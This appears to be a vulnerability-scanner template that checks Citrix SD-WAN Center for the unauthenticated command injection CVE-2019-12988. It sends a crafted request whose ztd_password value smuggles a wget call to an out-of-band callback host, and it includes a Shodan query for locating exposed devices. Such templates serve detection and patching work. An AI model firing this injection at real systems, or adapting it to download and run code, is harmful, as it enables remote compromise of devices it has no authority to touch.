id: CVE-2019-12988

info:
  name: Citrix SD-WAN Center - Unauthenticated Remote Command Injection
  author: gy741
  severity: critical
  description: |
    The addModifyZTDProxy action in NmsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the addModifyZTDProxy function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12988
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12988
    cwe-id: CWE-78
  metadata:
    shodan-query: http.title:"Citrix SD-WAN"
  tags: rce,unauth,oast,tenable,cve,cve2019,citrix

requests:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'